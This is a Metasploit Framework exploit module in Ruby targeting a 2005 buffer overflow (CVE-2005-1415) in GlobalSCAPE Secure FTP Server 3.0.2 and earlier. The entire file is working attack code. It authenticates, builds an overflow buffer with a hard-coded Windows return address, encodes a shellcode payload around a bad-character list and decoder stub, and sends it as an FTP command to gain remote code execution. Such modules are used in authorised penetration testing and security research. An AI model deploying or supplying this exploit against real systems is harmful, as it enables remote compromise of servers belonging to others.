##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'GlobalSCAPE Secure FTP Server Input Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server. 
        All versions prior to 3.0.3 are affected by this flaw. A valid user account (
        or anonymous access) is required for this exploit to work.    
      },
      'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2005-1415'],
          [ 'OSVDB', '16049'],
          [ 'BID', '13454'],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x20\x61\x62\x63\x64\x65\x66\x67\x68\x69" +
                        "\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +
                  "\x75\x76\x77\x78\x79\x7a",
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

        },
      'Targets'        => 
        [
          [
            'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
            {
              'Platform' => 'win',
              'Ret'      => 0x1002f01f,
            },
          ],
        ],
      'DisclosureDate' => 'May 1 2005',
      'DefaultTarget' => 0))
  end

  def exploit
    connect_login

    buf           = make_nops(3047)
    buf[2043, 4]  = [ target.ret ].pack('V')
    buf[2047, payload.encoded.length] = payload.encoded
    
    send_cmd( [buf] )
    
    handler
    disconnect
  end

end